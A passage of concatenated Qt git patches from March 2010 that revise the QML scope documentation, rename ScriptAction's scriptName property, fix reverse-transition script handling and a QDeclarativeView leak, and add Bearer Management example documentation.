+parameter passed just as the programmer would expect irrespective of the +value of the QML object's \c a and \c b properties. -\table -\row -\o \code -// main.qml -import Qt 4.6 +QtObject { + property int a: 3 + property int b: 9 -Rectangle { // Local scope component for binding 1 - id: root - property string text - - Button { - text: root.text // binding 1 + function addConstant(b) { + var a = 13; + return b + a; } - - ListView { - delegate: Component { // Local scope component for binding 2 - Rectangle { - width: ListView.view.width // binding 2 - } - } - } - } \endcode -\o -\code -// Button.qml -import Qt 4.6 -Rectangle { // Local scope component for binding 3 - id: root - property string text +That QML respects JavaScript's normal scoping rules even applies in bindings. +This totally evil, abomination of a binding will assign 12 to the QML object's +\c a property. - Text { - text: root.text // binding 3 - } +\code +QtObject { + property int a + + a: { var a = 12; a; } } \endcode -\endtable -Inside the local scope, four "sub-scopes" exist. Each sub-scope is searched in order when -resolving a name; names in higher sub-scopes shadow those in lower sub-scopes. +Every JavaScript expression, function or file in QML has its own unique +variable object. Local variables declared in one will never conflict +with local variables declared in another. -\section2 IDs +\section1 Element Names and Imported JavaScript Files -IDs present in the component take precendence over other names. The QML engine enforces -uniqueness of IDs within a component, so their names cannot conflict with one another. +\l {QML Document}s include import statements that define the element names +and JavaScript files visible to the document. In addition to their use in the +QML declaration itself, element names are used by JavaScript code when accessing +\l {Attached Properties} and enumeration values. -Here is an example of using IDs within bindings: +The effect of an import applies to every property binding, and JavaScript +function in the QML document, even those in nested inline components. The +following example shows a simple QML file that accesses some enumeration +values and calls an imported JavaScript function. \code -Item { - id: root - width: nested.width - Item { - id: nested - height: root.height - } -} -\endcode - -\section2 Script Methods - -Methods declared in script blocks are searched immediately after IDs. In the case of multiple -script blocks in the one component, the blocks are searched in the order in which they were -declared - the nesting of script blocks within a component is not significant for name -resolution. - -In the following example, \c {Method 1} shadows \c {Method 2} for the bindings, but not for -\c {Method 3}. +import Qt 4.6 +import "code.js" as Code -\code -Item { - Script { - function getValue() { return 10; } // Method 1 - } +ListView { + snapMode: ListView.SnapToItem - Rectangle { - Script { - function getValue() { return 11; } // Method 2 - function getValue2() { return getValue(); } // Method 3 + delegate: Component { + Text { + elide: Text.ElideMiddle + text: "A really, really long string that will require eliding." + color: Code.defaultColor() } - - x: getValue() // Resolves to Method 1, set to 10 - y: getValue2() // Resolves to Method 3, set to 11 } } \endcode -\section2 Scope Object - -A scope object is associated with each binding and script block. Properties and methods of the -scope object appear in the scope chain, immediately after \l {Script Methods}. +\section1 Binding Scope Object -In bindings and script blocks established explicitly in \l {QML Documents}, the scope object is -always the element containing the binding or script block. The following example shows two -bindings, one using grouped properties, and the corresponding scope object. These two bindings -use the scope object to resolve variable references: \c height is a property on \l Rectangle, -and \c parent is a property on \l Text. +Property bindings are the most common use of JavaScript in QML. Property +bindings associate the result of a JavaScript expression with a property of an +object. The object to which the bound property belongs is known as the binding's +scope object. In this QML simple declaration the \l Item object is the +binding's scope object. \code -Item { // Scope object for Script block 1 - Script { // Script block 1 - function calculateValue() { ... } - } - - Rectangle { // Scope object for Binding 1 and Script block 2 - Script { // Script block 2 - function calculateColor() { ... } - } - width: height * 2 // Binding 1 - } - - Text { // Scope object for Binding 2 - font.pixelSize: parent.height * 0.7 // binding 2 - } +Item { + anchors.left: parent.left } \endcode -One notable characteristic of the scope object is its interaction with \l {Attached Properties}. -As attached properties exist on all objects, an attached property reference that is not -explicitly prefixed by an id will \e always resolve to the attached property on the scope -object. - -In the following example, \c {Binding 1} will resolve to the attached properties of the -\l Rectangle element, as intended. However, due to the property search of the scope object, -\c {Binding 2} will resolve to the attached properties of the \l Text element, which -is probably not what was intended. This code can be corrected, by replacing \c {Binding 2} -with this explicit element reference \c {root.ListView.view.width}. +Bindings have access to the scope object's properties without qualification. +In the previous example, the binding accesses the \l Item's \c parent property +directly, without needing any form of object prefix. QML introduces a more +structured, object-oriented approach to JavaScript, and consequently does not +require (although it does support) use of the implicit \c this property. + +Care must be used when accessing \l {Attached Properties} from bindings due +to their interaction with the scope object. Conceptually attached properties +exist on \e all objects, even if they only have an effect on a subset of those. +Consequently unqualified attached property reads will always resolve to an +attached property on the scope object, which is not always what the programmer +intended. + +For example, the \l PathView element attaches interpolated value properties to +its delegates depending on their position in the path. As PathView only +meaningfully attaches these properties to the root element in the delegate, any +sub-element that accesses them must explicitly qualify the root object, as shown +below. \code -import Qt 4.6 - -ListView { - delegate: Rectangle { - id: root - width: ListView.view.width // Binding 1 - Text { - text: contactName - width: ListView.view.width // Binding 2 +PathView { + delegate: Component { + Rectangle { + id: root + Image { + scale: root.PathView.scale + } } } } \endcode -\e TODO - -\list -\o scope object for PropertyChanges -\endlist - -\section2 Root Object +If the \l Image element omitted the \c root prefix, it would inadvertantly access +the unset \c {PathView.scale} attached property on itself. -Properties and methods on the local scope component's root object appear in the scope chain -immediately after the \l {Scope Object}. If the scope object and root object are the same, -this step has no effect. +\section1 Component Scope -This example uses the root object to easily propagate data throughout the component. +Each QML component in a QML document defines a logical scope. Each document +has at least one root component, but can also have other inline sub-components. +The component scope is the union of the object ids within the component and the +component's root element's properties. \code Item { - property string description - property int fontSize + property string title Text { - text: description - font.pixelSize: fontSize + id: titleElement + text: "" + title + "" + font.pixelSize: 22 + anchors.top: parent.top + } + + Text { + text: titleElement.text + font.pixelSize: 18 + anchors.bottom: parent.bottom } } \endcode -\section1 QML Component chain - -When a QML component is instantiated it is given a parent component instance. The parent -component instance is immutable - it is not affected, for example, by changes in the instance's -visual parent (in the case of visual elements). Should name resolution fail within the -\l {QML Local Scope}, this parent chain is searched. +The example above shows a simple QML component that displays a rich text title +string at the top, and a smaller copy of the same text at the bottom. The first +\c Text element directly accesses the component's \c title property when +forming the text to display. That the root element's properties are directly +accessible makes it trivial to distribute data throughout the component. -For each component instance in the chain, the following are examined: +The second \c Text element uses an id to access the first's text directly. IDs +are specified explicitly by the QML programmer so they always take precedence +over other property names (except for those in the \l {JavaScript Scope}). For +example, in the unlikely event that the binding's \l {Binding Scope Object}{scope +object} had a \c titleElement property in the previous example, the \c titleElement +id would still take precedence. -\list 1 -\o IDs -\o Script Methods -\o Root Object -\endlist +\section1 Component Instance Hierarchy -This list is a sub-set of that in the \l {QML Local Scope}. +In QML, component instances connect their component scopes together to form a +scope hierarchy. Component instances can directly access the component scopes of +their ancestors. -A sub-component's parent component instance is set to the component that created it. -In the following example, the two \c Button instances have the -\c main.qml instance as their parent component instance. If the \c Button type was used from -within another QML file, it may have a difference parent component instance, and consequently -the \c buttonClicked() method may resolve differently. +The easiest way to demonstrate this is with inline sub-components whose component +scopes are implicitly scoped as children of the outer component. -\table -\row -\o \code -// main.qml Item { - function buttonClicked(var data) { - print(data + " clicked"); - } + property color defaultColor: "blue" - Button { text: "Button1" } - Button { text: "Button2" } -} -\endcode -\o -\code -// Button.qml -Rectangle { - id: root - property string text - width: 80 - height: 30 - Text { - anchors.centerIn: parent - text: root.text - } - MouseArea { - anchors.fill: parent - onClicked: buttonClicked(text) + ListView { + delegate: Component { + Rectangle { + color: defaultColor + } + } } } \endcode -\endtable -The code above discourages the re-use of the \c Button component, as it has a hard dependency -on the environment in which it is used. Tightly coupling two types together like this should -only be used when the components are within the same module, and the author controls the -implementations of both. +The component instance hierarchy allows instances of the delegate component +to access the \c defaultColor property of the \c Item element. Of course, +had the delegate component had a property called \c defaultColor that would +have taken precedence. -In the following example, the \l ListView sets the parent component instance of each of its -delegates to its own component instance. In this way, the main component can easily pass data -into the \l ListView delegates. +The component instance scope hierarchy extends to out-of-line components, too. +In the following example, the \c TitlePage.qml component creates two +\c TitleText instances. Even though the \c TitleText element is in a separate +file, it still has access to the \c title property when it is used from within +the \c TitlePage. QML is a dynamically scoped language - depending on where it +is used, the \c title property may resolve differently. \code +// TitlePage.qml +import Qt 4.6 Item { - property color delegateColor: "red" + property string title + + TitleText { + size: 22 + anchors.top: parent.top + } - ListView { - delegate: Component { - Rectangle { - color: delegateColor - } - } + TitleText { + size: 18 + anchors.bottom: parent.bottom } } -\endcode -\section1 QDeclarativeContext chain - -The \l QDeclarativeContext chain allows C++ applications to pass data into QML applications. -\l QDeclarativeComponent object instances created from C++ are passed a \l QDeclarativeContext in which they -are created. Variables defined in this context appear in the scope chain. Each QDeclarativeContext -also defines a parent context. Variables in child QDeclarativeContext's shadow those in its parent. +// TitleText.qml +import Qt 4.6 +Text { + property int size + text: "" + title + "" + font.pixelSize: size +} +\endcode -Consider the following QDeclarativeContext tree. +Dynamic scoping is very powerful, but it must be used cautiously to prevent +the behavior of QML code from becoming difficult to predict. In general it +should only be used in cases where the two components are already tightly +coupled in another way. When building reusable components, it is preferable +to use property interfaces, like this: -\image qml-context-tree.png +\code +// TitlePage.qml +import Qt 4.6 +Item { + id: root + property string title + + TitleText { + title: root.title + size: 22 + anchors.top: parent.top + } -The value of \c background in \c {Context 1} would be used if it was instantiated in -\c {Context 1}, where as the value of the \c background in the root context would be used if -the component instance was instantiated in \c {Context 2}. + TitleText { + title: root.title + size: 18 + anchors.bottom: parent.bottom + } +} -\code +// TitleText.qml import Qt 4.6 +Text { + property string title + property int size -Rectangle { - id: myRect - width: 100; height: 100 - color: background + text: "" + title + "" + font.pixelSize: size } \endcode -\section1 QML Global Object +\section1 JavaScript Global Object + +In addition to all the properties that a developer would normally expect on +the JavaScript global object, QML adds some custom extensions to make UI or +QML specific tasks a little easier. These extensions are described in the +\l {QML Global Object} documentation. + +QML disallows element, id and property names that conflict with the properties +on the global object to prevent any confusion. Programmers can be confident +that \c Math.min(10, 9) will always work as expected! -The \l {QML Global Object} contains all the properties of the JavaScript global object, plus some -QML specific extensions. */ -- cgit v0.12 From 08ef576f3bd492b60925c25945d9f8c2c8a26886 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 14:19:14 +1000 Subject: Rename stateChangeScriptName to scriptName. --- src/declarative/QmlChanges.txt | 1 + src/declarative/util/qdeclarativeanimation.cpp | 4 ++-- src/declarative/util/qdeclarativeanimation_p.h | 2 +- tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml | 2 +- 4 files changed, 5 insertions(+), 4 deletions(-) diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index 1d96688..fcb1228 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -11,6 +11,7 @@ Using WebView now requires "import org.webkit 1.0" Using Particles now requires "import Qt.labs.particles 1.0" AnchorAnimation must now be used to animate anchor changes (and not NumberAnimation) Removed ParentAction (use ParentAnimation instead) +ScriptAction: renamed stateChangeScriptName -> scriptName C++ API ------- diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index bead842..b5530f7 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -698,11 +698,11 @@ void QDeclarativeScriptAction::setScript(const QDeclarativeScriptString &script) } /*! - \qmlproperty QString ScriptAction::stateChangeScriptName + \qmlproperty QString ScriptAction::scriptName This property holds the the name of the StateChangeScript to run. This property is only valid when ScriptAction is used as part of a transition. - If both script and stateChangeScriptName are set, stateChangeScriptName will be used. + If both script and scriptName are set, scriptName will be used. */ QString QDeclarativeScriptAction::stateChangeScriptName() const { diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h index 356b015..33d5c35 100644 --- a/src/declarative/util/qdeclarativeanimation_p.h +++ b/src/declarative/util/qdeclarativeanimation_p.h @@ -163,7 +163,7 @@ class QDeclarativeScriptAction : public QDeclarativeAbstractAnimation Q_DECLARE_PRIVATE(QDeclarativeScriptAction) Q_PROPERTY(QDeclarativeScriptString script READ script WRITE setScript) - Q_PROPERTY(QString stateChangeScriptName READ stateChangeScriptName WRITE setStateChangeScriptName) + Q_PROPERTY(QString scriptName READ stateChangeScriptName WRITE setStateChangeScriptName) public: QDeclarativeScriptAction(QObject *parent=0); diff --git a/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml b/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml index ef4ed76..fc9ccc8 100644 --- a/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml +++ b/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml @@ -28,7 +28,7 @@ Rectangle { transitions: Transition { SequentialAnimation { NumberAnimation { properties: "x"; easing.type: "InOutQuad" } - ScriptAction { stateChangeScriptName: "setColor" } + ScriptAction { scriptName: "setColor" } NumberAnimation { properties: "y"; easing.type: "InOutQuad" } } } -- cgit v0.12 From e71d06bc420a837438c72616f88167b4a141b627 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 14:45:31 +1000 Subject: ScriptAction doc. --- src/declarative/util/qdeclarativeanimation.cpp | 31 ++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index b5530f7..6250132 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -658,6 +658,37 @@ void QDeclarativeColorAnimation::setTo(const QColor &t) \inherits Animation \brief The ScriptAction element allows scripts to be run during an animation. + ScriptAction can be used to run script at a specific point in an animation. + + \qml + SequentialAnimation { + NumberAnimation { ... } + ScriptAction { script: doSomething(); } + NumberAnimation { ... } + } + \endqml + + When used as part of a Transition, you could also target a specific + StateChangeScript to run using the \c scriptName property. + + \qml + State { + StateChangeScript { + name: "myScript" + script: doStateStuff(); + } + } + ... + Transition { + SequentialAnimation { + NumberAnimation { ... } + ScriptAction { scriptName: "myScript" } + NumberAnimation { ... } + } + } + \endqml + + \sa StateChangeScript */ /*! \internal -- cgit v0.12 From e3563de2f453697e8640db507ea039166c0b5dc8 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 15:26:23 +1000 Subject: A StateChangeScript should never be run when leaving the state. For a Transition running in reverse, stop ScriptAction from running any StateSchageScripts. --- src/declarative/util/qdeclarativeanimation.cpp | 13 +++++++++---- src/declarative/util/qdeclarativeanimation_p_p.h | 3 ++- 2 files changed, 11 insertions(+), 5 deletions(-) diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index 6250132..c17012c 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -668,7 +668,7 @@ void QDeclarativeColorAnimation::setTo(const QColor &t) } \endqml - When used as part of a Transition, you could also target a specific + When used as part of a Transition, you can also target a specific StateChangeScript to run using the \c scriptName property. \qml @@ -734,6 +734,9 @@ void QDeclarativeScriptAction::setScript(const QDeclarativeScriptString &script) This property is only valid when ScriptAction is used as part of a transition. If both script and scriptName are set, scriptName will be used. + + \note When using scriptName in a reversible transition, the script will only + be run when the transition is being run forwards. */ QString QDeclarativeScriptAction::stateChangeScriptName() const { @@ -749,6 +752,9 @@ void QDeclarativeScriptAction::setStateChangeScriptName(const QString &name) void QDeclarativeScriptActionPrivate::execute() { + if (hasRunScriptScript && reversing) + return; + QDeclarativeScriptString scriptStr = hasRunScriptScript ? runScriptScript : script; const QString &str = scriptStr.script(); @@ -764,19 +770,18 @@ void QDeclarativeScriptAction::transition(QDeclarativeStateActions &actions, { Q_D(QDeclarativeScriptAction); Q_UNUSED(modified); - Q_UNUSED(direction); d->hasRunScriptScript = false; + d->reversing = (direction == Backward); for (int ii = 0; ii < actions.count(); ++ii) { QDeclarativeAction &action = actions[ii]; if (action.event && action.event->typeName() == QLatin1String("StateChangeScript") && static_cast(action.event)->name() == d->name) { - //### how should we handle reverse direction? d->runScriptScript = static_cast(action.event)->script(); d->hasRunScriptScript = true; action.actionDone = true; - break; //assumes names are unique + break; //only match one (names should be unique) } } } diff --git a/src/declarative/util/qdeclarativeanimation_p_p.h b/src/declarative/util/qdeclarativeanimation_p_p.h index 55aacfa..decd993 100644 --- a/src/declarative/util/qdeclarativeanimation_p_p.h +++ b/src/declarative/util/qdeclarativeanimation_p_p.h @@ -264,7 +264,7 @@ class QDeclarativeScriptActionPrivate : public QDeclarativeAbstractAnimationPriv Q_DECLARE_PUBLIC(QDeclarativeScriptAction) public: QDeclarativeScriptActionPrivate() - : QDeclarativeAbstractAnimationPrivate(), hasRunScriptScript(false), proxy(this), rsa(0) {} + : QDeclarativeAbstractAnimationPrivate(), hasRunScriptScript(false), reversing(false), proxy(this), rsa(0) {} void init(); @@ -272,6 +272,7 @@ public: QString name; QDeclarativeScriptString runScriptScript; bool hasRunScriptScript; + bool reversing; void execute(); -- cgit v0.12 From 17c88fb432574e876e3d72c17d5453dccc351e9c Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 15:44:09 +1000 Subject: StateChangeScript doc. --- .../util/qdeclarativestateoperations.cpp | 26 ++++++++++++++++++++-- 1 file changed, 24 insertions(+), 2 deletions(-) diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index 163d220..0bc81ee 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -494,9 +494,31 @@ public: \qmlclass StateChangeScript QDeclarativeStateChangeScript \brief The StateChangeScript element allows you to run a script in a state. - The script specified will be run immediately when the state is made current. - Alternatively you can use a ScriptAction to specify at which point in the transition + StateChangeScripts are run when entering the state. You can use + ScriptAction to specify at which point in the transition you want the StateChangeScript to be run. + + \qml + State { + name "state1" + StateChangeScript { + name: "myScript" + script: doStateStuff(); + } + ... + } + ... + Transition { + to: "state1" + SequentialAnimation { + NumberAnimation { ... } + ScriptAction { scriptName: "myScript" } + NumberAnimation { ... } + } + } + \endqml + + \sa ScriptAction */ QDeclarativeStateChangeScript::QDeclarativeStateChangeScript(QObject *parent) -- cgit v0.12 From 87de0a1af772189f0c2a9aeedb98d806b6a869c1 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 16:34:01 +1000 Subject: Fix leak. --- src/declarative/util/qdeclarativeview.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/declarative/util/qdeclarativeview.cpp b/src/declarative/util/qdeclarativeview.cpp index c2dbf92..d97fb5f 100644 --- a/src/declarative/util/qdeclarativeview.cpp +++ b/src/declarative/util/qdeclarativeview.cpp @@ -129,6 +129,7 @@ class QDeclarativeViewPrivate public: QDeclarativeViewPrivate(QDeclarativeView *view) : q(view), root(0), component(0), resizeMode(QDeclarativeView::SizeViewToRootObject) {} + ~QDeclarativeViewPrivate() { delete root; } void execute(); @@ -270,7 +271,7 @@ void QDeclarativeViewPrivate::init() */ QDeclarativeView::~QDeclarativeView() { - delete d->root; + delete d; } /*! \property QDeclarativeView::source -- cgit v0.12 From 87340d6327188d79f81592031c1d648fa52932be Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Wed, 24 Mar 2010 17:11:15 +1000 Subject: Bearer management documentation. Add overview and examples from Qt Mobility. --- doc/src/examples/bearercloud.qdoc | 197 +++++++++++++++ doc/src/examples/bearermonitor.qdoc | 49 ++++ doc/src/getting-started/examples.qdoc | 2 + doc/src/images/bearercloud-example.png | Bin 0 -> 37582 bytes doc/src/images/bearermonitor-example.png | Bin 0 -> 34862 bytes doc/src/network-programming/bearermanagement.qdoc | 286 ++++++++++++++++++++++ doc/src/network-programming/qtnetwork.qdoc | 30 ++- src/network/bearer/qnetworkconfigmanager.cpp | 2 +- src/network/bearer/qnetworkconfiguration.cpp | 2 +- src/network/bearer/qnetworksession.cpp | 2 +- 10 files changed, 566 insertions(+), 4 deletions(-) create mode 100644 doc/src/examples/bearercloud.qdoc create mode 100644 doc/src/examples/bearermonitor.qdoc create mode 100644 doc/src/images/bearercloud-example.png create mode 100644 doc/src/images/bearermonitor-example.png create mode 100644 doc/src/network-programming/bearermanagement.qdoc diff --git a/doc/src/examples/bearercloud.qdoc b/doc/src/examples/bearercloud.qdoc new file mode 100644 index 0000000..c7acf04 --- /dev/null +++ b/doc/src/examples/bearercloud.qdoc @@ -0,0 +1,197 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \example network/bearercloud + \title Bearer Cloud Example + + The Bearer Cloud example shows how to use the Bearer Management API to monitor the + connectivity state of the local device. + + \image bearercloud-example.png Screenshot of the Bearer Cloud example + + Bearer Management provides the QNetworkConfigurationManager class which can be used to monitor + changes in the available \l {QNetworkConfiguration}{network configurations} and the + QNetworkSession class which is used to \l {QNetworkSession::open()}{open} and + \l {QNetworkSession::close()}{close} a session bringing a network interface up or down if + necessary. + + This example displays all known \l {QNetworkConfiguration}{network configurations} in a cloud + orbiting the local device. There are four orbits representing the four possible + \l {QNetworkConfiguration::StateFlags}{states} that the network configuration can be in. + The closer the orbit the more useful the network configuration is in its current state. + The inner orbit is populated with network configurations that are in the + \l {QNetworkConfiguration::Active}{Active} state. The second orbit is populated with network + configurations that are in the \l {QNetworkConfiguration::Discovered}{Discovered} state. The + third orbit is populated with network configurations that are in the + \l {QNetworkConfiguration::Defined}{Defined} state. Finally the outer orbit is populated by + configurations that are in the \l {QNetworkConfiguration::Undefined}{Undefined} state. + + Hovering the mouse over a network configuration will display information about the network + configuration in a tool tip. + + Double clicking on an Active or Discovered network configuration will + \l {QNetworkSession::close()}{close} or \l {QNetworkSession::open()}{open} a network session, + respectively. + + Lastly you can reorganize the cloud without changing the state of the network configurations by + dragging them around. + + This example consists of two main classes, the BearerCloud and Cloud classes. The Cloud class + represents a single network session and associated network configuration. The BearerCloud + class implements a Graphics View scene and manages the life-cycle of Cloud + objects in response to notification signals from QNetworkConfigurationManager. + + \section1 Setting the scene + + When constructing the scene we first calculate some random offsets using the global qsand() + and qrand() functions. We will use these offsets to scatter the initial position of new Cloud + objects. + + Next we place a text item in the center of the scene to represent the local device and + surround it with four concentric circles to help visualize the orbits. + + Finally we connect up the network configuration notification signals and queue the initial + population of the scene during the next iteration of the event loop. + + \snippet examples/network/bearercloud/bearercloud.cpp 0 + + Populating the scene with the initial list of known network configuration is easy. Iterate + over the list returned by QNetworkConfigurationManager::allConfigurations(), calling our + configurationAdded() slot on each one. + + We finishing off by calling cloudMoved() to ensure that animations are started. + + \snippet examples/network/bearercloud/bearercloud.cpp 1 + + The configurationAdded() slot gets called when a new network configuration is added to the + system. + + It stores the \l {QNetworkConfiguration::identifier()}{identifier} of the network + configuration in the \e {configStates} map, which is used to keep a count of the number of + network configurations in each state. This in turn is used to calculate the initial position + of new Cloud objects. + + Next we create a new Cloud object for this network configuration. Set its initial position + and store it in the \e {configurations} hash. + + The last step is to add it to the scene by calling QGraphicsScene::addItem(). + + \snippet examples/network/bearercloud/bearercloud.cpp 2 + + The configurationRemoved() slot gets called when a network configuration is removed from the + system. + + First we remove all references to the network configuration from the \e {configStates} and + \e {configurations} member variables. + + Next we initiate animation by setting a final scale value on the Cloud object associated with + the removed network configuration. + + Finally we flag the Cloud object to delete itself after it has finished animating. + + \snippet examples/network/bearercloud/bearercloud.cpp 3 + + The Cloud object will take care of most of the work required when a network configuration + changes. All we do in the configurationChanged() slot is update the \e {configStates} member + variable. + + \snippet examples/network/bearercloud/bearercloud.cpp 4 + + + \section1 Responding to changes + + Each network session and associated network configuration known to the system is represented in + the scene as a Cloud object. + + In the Cloud constructor we first initialize member variables. Then we create a new + QNetworkSession object bound to the network configuration. Next we connect the QNetworkSession + signals which we use to monitor it for state changes. + + Next we set some QGraphicsItem properties. The QGraphicsItem::ItemIsMovable flag enables mouse + interaction with the Cloud object. + + The Cloud object consists of an icon and a text caption, these are constructed here. We will + assign values to them later, as these will change as the sessions state changes. + + Next we set the initial animation state and call our newConfigurationActivated() slot to finish + setting up the Cloud object based on the state of network session. + + \snippet examples/network/bearercloud/cloud.cpp 0 + + The newConfigurationActivated() slot is called when a session has successfully roamed from one + access point to another. + + The first thing we do is set the icon, inserting it into a shared SVG renderer cache if it is + not already available. Next we set the text caption to the name of the network configuration. + + We then set the position of the icon and text caption so that they are centered horizontally. + + Finally we call our stateChanged() slot. + + \snippet examples/network/bearercloud/cloud.cpp 1 + + The stateChanged() slot is called when the session state changes. + + In this slot we set lower the opacity of Cloud objects with network sessions that cannot be + \l {QNetworkSession::open()}{opened}, and set a detailed tool tip describing the sessions + state. + + \snippet examples/network/bearercloud/cloud.cpp 2 + + In our reimplementation of the QGraphicsItem::mouseDoubleClickEvent() function we call + QNetworkSession::open() or QNetworkSession::close() to open or close the session in response + to a double left click. + + \snippet examples/network/bearercloud/cloud.cpp 3 + + As we support the user dragging Cloud objects around we need to restart animations when the + position of the Cloud object changes. This is accomplished by reimplementing the + QGraphicsItem::itemChanged() function and calling the cloudMoved() function of the BearerCloud + object. + + \snippet examples/network/bearercloud/cloud.cpp 4 + + The remainder of the code for the Cloud object implements the animations. The + calculateForces() function calculates the new position of the Cloud object based on the + position of all the other Cloud objects in the scene. The new position is set when the + advance() function is called to update the Cloud object for the current animation frame. +*/ diff --git a/doc/src/examples/bearermonitor.qdoc b/doc/src/examples/bearermonitor.qdoc new file mode 100644 index 0000000..592d1e5 --- /dev/null +++ b/doc/src/examples/bearermonitor.qdoc @@ -0,0 +1,49 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \example network/bearermonitor + \title Bearer Monitor Example + + The Bearer Monitor example shows how to use the Bearer Management API. + + \image bearermonitor-example.png Screenshot of the Bearer Monitor example +*/ diff --git a/doc/src/getting-started/examples.qdoc b/doc/src/getting-started/examples.qdoc index bc6404c..885e96c 100644 --- a/doc/src/getting-started/examples.qdoc +++ b/doc/src/getting-started/examples.qdoc @@ -880,6 +880,8 @@ \o \l{network/threadedfortuneserver}{Threaded Fortune Server}\raisedaster \o \l{network/torrent}{Torrent} \o \l{network/googlesuggest}{Google Suggest} + \o \l{network/bearercloud}{Bearer Cloud}\raisedaster + \o \l{network/bearermonitor}{Bearer Monitor} \endlist Examples marked with an asterisk (*) are fully documented. diff --git a/doc/src/images/bearercloud-example.png b/doc/src/images/bearercloud-example.png new file mode 100644 index 0000000..aaf69df Binary files /dev/null and b/doc/src/images/bearercloud-example.png differ diff --git a/doc/src/images/bearermonitor-example.png b/doc/src/images/bearermonitor-example.png new file mode 100644 index 0000000..1b8a9c3 Binary files /dev/null and b/doc/src/images/bearermonitor-example.png differ diff --git a/doc/src/network-programming/bearermanagement.qdoc b/doc/src/network-programming/bearermanagement.qdoc new file mode 100644 index 0000000..10d697a --- /dev/null +++ b/doc/src/network-programming/bearermanagement.qdoc @@ -0,0 +1,286 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page bearer-management.html + +\title Bearer Management +\brief An API to 